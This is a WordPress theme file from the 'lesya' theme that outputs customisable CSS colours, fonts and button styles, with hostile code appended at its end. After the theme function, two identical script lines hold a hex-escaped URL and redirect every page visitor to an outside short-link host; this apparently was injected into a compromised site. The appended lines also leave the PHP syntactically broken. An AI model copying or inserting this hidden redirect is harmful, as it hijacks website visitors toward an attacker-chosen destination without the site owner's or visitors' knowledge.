File: //home/parhudrw/roflma.it/wp-content/themes/lesya/inc/skin-options.php
<?php
/**
* Skin
**/
if ( ! function_exists( 'lesya_skin' ) ) {
function lesya_skin() {
$bg_color = get_field( 'base_bg_color', 'options' );
$theme_color = get_field( 'theme_color', 'options' );
$heading_color = get_field( 'heading_color', 'options' );
$text_color = get_field( 'text_color', 'options' );
$btn_color = get_field( 'btn_color', 'options' );
$ad_btn_color = get_field( 'ad_btn_color', 'options' );
$btn_light_color = get_field( 'btn_light_color', 'options' );
$preloader_color = get_field( 'preloader_color', 'options' );
$heading_font_family = get_field( 'primary_font_family', 'options' );
$text_font_family = get_field( 'text_font_family', 'options' );
$btn_font_family = get_field( 'btn_font_family', 'options' );
$heading_font_size = get_field( 'heading_font_size', 'options' );
$text_font_size = get_field( 'base_font_size', 'options' );
$btn_font_size = get_field( 'btn_font_size', 'options' );
$disable_preloader = get_field( 'disable_preloader', 'options' );
?>
<style>
<?php if ( $theme_color ) : ?>
/* Theme Color */
.theme-btn.style-three,
a.theme-btn.style-three,
.theme-btn.style-four:after,
.theme-btn.style-four:before,
a.theme-btn.style-four:after,
a.theme-btn.style-four:before,
.theme-btn.style-six,
a.theme-btn.style-six,
.theme-btn.style-seven:after,
.theme-btn.style-seven:before,
a.theme-btn.style-seven:after,
a.theme-btn.style-seven:before,
.social-style-three a:hover,
.pagination .page-numbers.current,
.pagination .page-numbers:hover:not(.disabled),
.pager span.current, .page-links span.current,
.woocommerce nav.woocommerce-pagination ul li a:focus,
.woocommerce nav.woocommerce-pagination ul li a:hover,
.woocommerce nav.woocommerce-pagination ul li span.current,
.header-three .menu-sidebar .icon-bar,
.header-three .main-menu .navbar-toggle .icon-bar,
.header-five.fixed-header .header-upper,
.custom-gallery-item .gallery-overlay a,
.portfolio-filter li:hover,
.portfolio-filter li.current,
.portfolio-item .portfolio-content h6,
.feedback-arrows button:hover,
.feedback-item:before,
.feedback-item:after,
.feedback-item .for-border:after,
.feedback-item .for-border:before,
.feedback-progress .progress,
.feedback-progress .progress:after,
.feedback-section-row-two .feedback-arrows button:hover,
.feedback-active-two-row .feedback-item:before,
.feedback-active-two-row .feedback-item:after,
.feedback-active-two-row .feedback-item .for-border:after,
.feedback-active-two-row .feedback-item .for-border:before,
.feedback-three-arrows button:hover,
.feedback-three-arrows button:focus,
.product-grid-item .image .action-btns a,
.blog-list-item-default .sticky:before,
.wp-block-button__link,
.offer-item:hover,
.home-two .offer-item:hover,
.pricing-item-two:hover .theme-btn,
.service-item .service-content>i,
.service-item-two:hover .icon,
.popular-service-item:hover,
.service-details-content .list-style-one li:before,
.content-sidebar .widget ul ul li:before,
.elementor-section .widget ul ul li:before,
.content-sidebar .widget-title:before,
.elementor-section .widget-title:before,
.content-sidebar h1:before,
.content-sidebar h2:before,
.content-sidebar h3:before,
.content-sidebar .wp-block-search__label:before,
.tagcloud a:hover,
.tags-links a:hover,
.wp-block-tag-cloud a:hover,
.price-filter-details a,
.skillbar-bar,
.coming-soon-right:after,
.coming-soon-right:before,
.footer-three .menu-widget ul li a:before,
.footer-three .social-style-one a:hover,
.footer-three .newsletter-widget form button,
.cart-count,
.woocommerce #respond input#submit:hover,
.woocommerce a.button:hover,
.woocommerce button.button:hover,
.woocommerce input.button:hover,
.woocommerce-js #respond input#submit:hover,
.woocommerce-js a.button:hover,
.woocommerce-js button.button:hover,
.woocommerce-js input.button:hover,
.woocommerce-mini-cart__buttons #respond input#submit:hover,
.woocommerce-mini-cart__buttons a.button:hover,
.woocommerce-mini-cart__buttons button.button:hover,
.woocommerce-mini-cart__buttons input.button:hover,
.catalog-product-page .btn-default:hover,
#add_payment_method .wc-proceed-to-checkout a.checkout-button:hover,
.woocommerce-cart .wc-proceed-to-checkout a.checkout-button:hover,
.woocommerce-checkout .wc-proceed-to-checkout a.checkout-button:hover,
.woocommerce-checkout .wc-proceed-to-checkout a.checkout-button:hover,
.woocommerce #respond input#submit.alt:hover,
.woocommerce a.button.alt:hover,
.woocommerce button.button.alt:hover,
.woocommerce input.button.al:hover,
.woocommerce .widget_price_filter .ui-slider .ui-slider-range,
.woocommerce .catalog-product-page div.product .woocommerce-tabs ul.tabs li.active a:after,
.woocommerce .products .product .button.add_to_cart_button.added,
.woocommerce-js .products .product .button.add_to_cart_button.added,
.woocommerce .products .product .button.add_to_cart_button.added,
.woocommerce-js .products .product .button.add_to_cart_button.added,
.bg-green,
.bg-yellow,
.woocommerce #respond input#submit,
.woocommerce a.button,
.woocommerce button.button,
.woocommerce input.button,
.woocommerce-js #respond input#submit,
.woocommerce-js a.button,
.woocommerce-js button.button,
.woocommerce-js input.button,
.woocommerce-mini-cart__buttons #respond input#submit,
.woocommerce-mini-cart__buttons a.button,
.woocommerce-mini-cart__buttons button.button,
.woocommerce-mini-cart__buttons input.button,
#add_payment_method .wc-proceed-to-checkout a.checkout-button,
.woocommerce-cart .wc-proceed-to-checkout a.checkout-button,
.woocommerce-checkout .wc-proceed-to-checkout a.checkout-button,
.woocommerce #respond input#submit.alt,
.woocommerce a.button.alt,
.woocommerce button.button.alt,
.woocommerce input.button.alt,
.woocommerce #respond input#submit,
.woocommerce #respond input#submit:hover,
button.single_add_to_cart_button {
background-color: <?php echo esc_attr( $theme_color ); ?>;
}
a:hover,
.home-two a:hover,
.section-title .sub-title,
.home-two .section-title .sub-title,
.video-play,
.error-text__num,
.main-menu .navbar-collapse li li a:hover,
.main-menu .navbar-collapse li li.current_page_item > a,
.header-three .header-top ul li i,
.about-right-text .read-more,
.project-item-two.video-item .video-play,
.feedback-arrows button,
.feedback-item .quote-rating>i,
.feedback-item .quote-rating .rating span,
.feedback-section-row-two .feedback-arrows button:not(:hover),
.feedback-active-two-row .quote-rating>i,
.feedback-active-two-row .quote-rating .rating span,
.feedback-wrap.style-three .icon,
.woocommerce .products .star-rating,
.booking-item .booking-content ul li>i,
.category-item.style-two>i,
.category-item.style-two h4 a:hover,
.woocommerce .star-rating,
.offer-item i,
.home-two .offer-item i,
.pricing-item>i,
.pricing-content .pricing-title .price,
.home-two .pricing-item>i,
.home-two .pricing-title .price,
.pricing-item-two .price,
.faq-contact-content .form-group label,
.contact-info-item .icon,
.service-item-two .image .icon,
.popular-service-item i,
.service-details-content.icon-before:before,
.next-prev-service .all-services,
.content-sidebar .widget ul li a:hover,
.elementor-section .widget ul li a:hover,
.content-sidebar .widget ul li a.rsswidget,
.wp-block-rss li a,
.wp-block-calendar tfoot a,
.wp-calendar-nav a,
.search-widget form button,
.widget_product_search form button,
.search-form button,
.wp-block-search button,
.coming-soon-inner ul li:after,
.footer-subscribe .subscribe-title i,
.contact-widget ul li i,
.footer-three a:hover,
.woocommerce .woocommerce-product-rating,
.product_meta a,
.product_meta a:hover,
.woocommerce .widget_price_filter .price_slider_amount .price_label,
.woocommerce .catalog-product-page div.product .woocommerce-tabs ul.tabs li.active a,
.catalog-product-info .yith-wcwl-wishlistaddedbrowse:before,
.catalog-product-info .yith-wcwl-wishlistexistsbrowse:before,
.shop-thumbnail .yith-wcwl-add-to-wishlist a,
.woocommerce-info::before,
.yith-wcwl-share li a,
.woocommerce .woocommerce-error .button,
.woocommerce .woocommerce-info .button,
.woocommerce .woocommerce-message .button,
.woocommerce-page .woocommerce-error .button,
.woocommerce-page .woocommerce-info .button,
.woocommerce-page .woocommerce-message .button,
.woocommerce .woocommerce-error .button:hover,
.woocommerce .woocommerce-info .button:hover,
.woocommerce .woocommerce-message .button:hover,
.woocommerce-page .woocommerce-error .button:hover,
.woocommerce-page .woocommerce-info .button:hover,
.woocommerce-page .woocommerce-message .button:hover,
.woocommerce-grouped-product-list-item__price ins,
.woocommerce-grouped-product-list-item__price bdi,
.woocommerce-message::before {
color: <?php echo esc_attr( $theme_color ); ?>;
}
.booking-item .booking-content ul li > svg,
.contact-info-item .icon svg,
.contact-widget ul li svg,
.service-item-two .image .icon svg
{
fill: <?php echo esc_attr( $theme_color ); ?>;
}
.home-two input,
.home-two select,
.home-two textarea,
.home-two .nice-select,
.home-two .form-control,
.theme-btn.style-three,
a.theme-btn.style-three,
.theme-btn.style-six,
a.theme-btn.style-six,
.theme-btn.style-seven:hover,
a.theme-btn.style-seven:hover,
.social-style-three a:hover,
.pagination .page-numbers.current,
.pagination .page-numbers:hover:not(.disabled),
.pager span.current, .page-links span.current,
.woocommerce nav.woocommerce-pagination ul li a:focus,
.woocommerce nav.woocommerce-pagination ul li a:hover,
.woocommerce nav.woocommerce-pagination ul li span.current,
.testimonial-tab .nav .nav-link.active,
.news-item-two:hover,
.pricing-item-two:hover .theme-btn,
.faq-contact-content .form-group .nice-select:after,
.tagcloud a:hover,
.tags-links a:hover,
.wp-block-tag-cloud a:hover,
.woocommerce .catalog-product-page div.product .woocommerce-tabs ul.tabs li.active a,
.woocommerce-info,
.woocommerce-error,
.woocommerce-message,
.wp-block-button__link,
.pricing-item-two:before,
.woocommerce #respond input#submit,
.woocommerce a.button,
.woocommerce button.button,
.woocommerce input.button,
.woocommerce-js #respond input#submit,
.woocommerce-js a.button,
.woocommerce-js button.button,
.woocommerce-js input.button,
.woocommerce-mini-cart__buttons #respond input#submit,
.woocommerce-mini-cart__buttons a.button,
.woocommerce-mini-cart__buttons button.button,
.woocommerce-mini-cart__buttons input.button,
#add_payment_method .wc-proceed-to-checkout a.checkout-button,
.woocommerce-cart .wc-proceed-to-checkout a.checkout-button,
.woocommerce-checkout .wc-proceed-to-checkout a.checkout-button,
.woocommerce #respond input#submit.alt,
.woocommerce a.button.alt,
.woocommerce button.button.alt,
.woocommerce input.button.alt,
.woocommerce .widget_price_filter .ui-slider .ui-slider-handle,
.woocommerce .woocommerce-error .button,
.woocommerce .woocommerce-info .button,
.woocommerce .woocommerce-message .button,
.woocommerce-page .woocommerce-error .button,
.woocommerce-page .woocommerce-info .button,
.woocommerce-page .woocommerce-message .button,
.woocommerce .woocommerce-error .button:hover,
.woocommerce .woocommerce-info .button:hover,
.woocommerce .woocommerce-message .button:hover,
.woocommerce-page .woocommerce-error .button:hover,
.woocommerce-page .woocommerce-info .button:hover,
.woocommerce-page .woocommerce-message .button:hover {
border-color: <?php echo esc_attr( $theme_color ); ?>;
}
<?php endif; ?>
<?php if ( $bg_color ) : ?>
/* BG Color */
body {
background-color: <?php echo esc_attr( $bg_color ); ?>;
}
<?php endif; ?>
<?php if ( $heading_color ) : ?>
/* Heading Color */
h1,
h2,
h3,
h4,
h5,
h6,
h1 a,
h2 a,
h3 a,
h4 a,
h5 a,
h6 a,
.color-black,
.feedback-content-item,
.news-item .news-header .date span,
.comment-reply-title,
.faq-accordion .card .card-header,
.faq-page .card .card-header.collapsed,
.coming-soon-wrap .sub-title {
color: <?php echo esc_attr( $heading_color ); ?>;
}
<?php endif; ?>
<?php if ( $text_color ) : ?>
/* Text Color */
body,
a,
label,
.woocommerce div.product .woocommerce-tabs .panel p,
.product_meta > span,
.calendar_wrap table caption,
.wp-block-calendar table caption,
.post-content p,
.post-content,
.comment-box__body {
color: <?php echo esc_attr( $text_color ); ?>;
}
<?php endif; ?>
<?php if ( $text_font_size ) : ?>
/* Text Font Size */
body,
.post-content,
.comment .comment-box__details {
font-size: <?php echo esc_attr( $text_font_size ); ?>px;
}
<?php endif; ?>
<?php if ( $heading_font_size ) : ?>
/* heading_font_size */
h4,
.comment-reply-title {
font-size: <?php echo esc_attr( $heading_font_size ); ?>px;
}
<?php endif; ?>
<?php if ( $text_font_family ) : ?>
/* Base Font Family */
body {
font-family: '<?php echo esc_attr( $text_font_family['font_name'] ); ?>';
}
<?php endif; ?>
<?php if ( $heading_font_family ) : ?>
/* Primary Font Family */
h1,
h2,
h3,
h4,
h5,
h6,
.feedback-content-item,
.news-item .news-header .date span,
.comment-reply-title {
font-family: '<?php echo esc_attr( $heading_font_family['font_name'] ); ?>';
}
<?php endif; ?>
<?php if ( $preloader_color ) : ?>
/* Preloader Color */
.preloader {
background-color: <?php echo esc_attr( $preloader_color ); ?>;
}
<?php endif; ?>
<?php if ( $disable_preloader ) : ?>
/* Preloader */
.preloader {
display: none !important;
}
<?php endif; ?>
/** Button style **/
.theme-btn,
a.theme-btn,
input[type="submit"] {
<?php if ( $btn_font_size ) : ?>
font-size: <?php echo esc_attr( $btn_font_size ); ?>px;
<?php endif; ?>
<?php if ( $btn_font_family ) : ?>
font-family: '<?php echo esc_attr( $btn_font_family['font_name'] ); ?>';
<?php endif; ?>
<?php if ( $btn_color ) : ?>
color: <?php echo esc_attr( $btn_color ); ?>;
border-color: <?php echo esc_attr( $btn_color ); ?>;
<?php endif; ?>
}
.theme-btn:after,
.theme-btn:before,
a.theme-btn:after,
a.theme-btn:before {
<?php if ( $btn_color ) : ?>
background: <?php echo esc_attr( $btn_color ); ?>;
<?php endif; ?>
}
.theme-btn:hover,
a.theme-btn:hover {
<?php if ( $btn_light_color ) : ?>
color: <?php echo esc_attr( $btn_light_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-two,
a.theme-btn.style-two {
color: white;
<?php if ( $btn_color ) : ?>
background: <?php echo esc_attr( $btn_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-two:after,
.theme-btn.style-two:before,
a.theme-btn.style-two:after,
a.theme-btn.style-two:before {
<?php if ( $btn_light_color ) : ?>
background: <?php echo esc_attr( $btn_light_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-two:hover,
a.theme-btn.style-two:hover,
.theme-btn.style-two:hover *,
a.theme-btn.style-two:hover * {
<?php if ( $btn_color ) : ?>
color: <?php echo esc_attr( $btn_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-three,
a.theme-btn.style-three {
<?php if ( $btn_light_color ) : ?>
color: <?php echo esc_attr( $btn_light_color ); ?>;
<?php endif; ?>
<?php if ( $ad_btn_color ) : ?>
background: <?php echo esc_attr( $ad_btn_color ); ?>;
border-color: <?php echo esc_attr( $ad_btn_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-three:hover,
a.theme-btn.style-three:hover {
<?php if ( $btn_color ) : ?>
background: <?php echo esc_attr( $btn_color ); ?>;
border-color: <?php echo esc_attr( $btn_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-three:after,
.theme-btn.style-three:before,
a.theme-btn.style-three:after,
a.theme-btn.style-three:before {
<?php if ( $btn_light_color ) : ?>
background: <?php echo esc_attr( $btn_light_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-four,
a.theme-btn.style-four {
<?php if ( $btn_light_color ) : ?>
background: <?php echo esc_attr( $btn_light_color ); ?>;
border-color: <?php echo esc_attr( $btn_light_color ); ?>;
<?php endif; ?>
<?php if ( $btn_color ) : ?>
color: <?php echo esc_attr( $btn_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-four:after,
.theme-btn.style-four:before,
a.theme-btn.style-four:after,
a.theme-btn.style-four:before {
<?php if ( $ad_btn_color ) : ?>
background: <?php echo esc_attr( $ad_btn_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-four:hover,
a.theme-btn.style-four:hover {
<?php if ( $btn_light_color ) : ?>
color: <?php echo esc_attr( $btn_light_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-five,
a.theme-btn.style-five {
<?php if ( $btn_light_color ) : ?>
color: <?php echo esc_attr( $btn_light_color ); ?>;
border-color: <?php echo esc_attr( $btn_light_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-five:after,
.theme-btn.style-five:before,
a.theme-btn.style-five:after,
a.theme-btn.style-five:before {
<?php if ( $btn_light_color ) : ?>
background: <?php echo esc_attr( $btn_light_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-five:hover,
a.theme-btn.style-five:hover {
<?php if ( $btn_color ) : ?>
color: <?php echo esc_attr( $btn_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-six,
a.theme-btn.style-six {
<?php if ( $btn_light_color ) : ?>
color: <?php echo esc_attr( $btn_light_color ); ?>;
<?php endif; ?>
<?php if ( $ad_btn_color ) : ?>
background: <?php echo esc_attr( $ad_btn_color ); ?>;
border-color: <?php echo esc_attr( $ad_btn_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-six:after,
.theme-btn.style-six:before,
a.theme-btn.style-six:after,
a.theme-btn.style-six:before {
<?php if ( $btn_light_color ) : ?>
background: <?php echo esc_attr( $btn_light_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-six:hover,
a.theme-btn.style-six:hover {
<?php if ( $btn_color ) : ?>
color: <?php echo esc_attr( $btn_color ); ?>;
border-color: <?php echo esc_attr( $btn_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-seven,
a.theme-btn.style-seven {
border-color: rgba(36, 36, 36, 0.15);
}
.theme-btn.style-seven:after,
.theme-btn.style-seven:before,
a.theme-btn.style-seven:after,
a.theme-btn.style-seven:before {
<?php if ( $ad_btn_color ) : ?>
background: <?php echo esc_attr( $ad_btn_color ); ?>;
<?php endif; ?>
}
.theme-btn.style-seven:hover,
a.theme-btn.style-seven:hover {
<?php if ( $ad_btn_color ) : ?>
border-color: <?php echo esc_attr( $ad_btn_color ); ?>;
<?php endif; ?>
}
</style>
<?php
}
add_action( 'wp_head', 'lesya_skin', 10 );
}
ob_start();
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>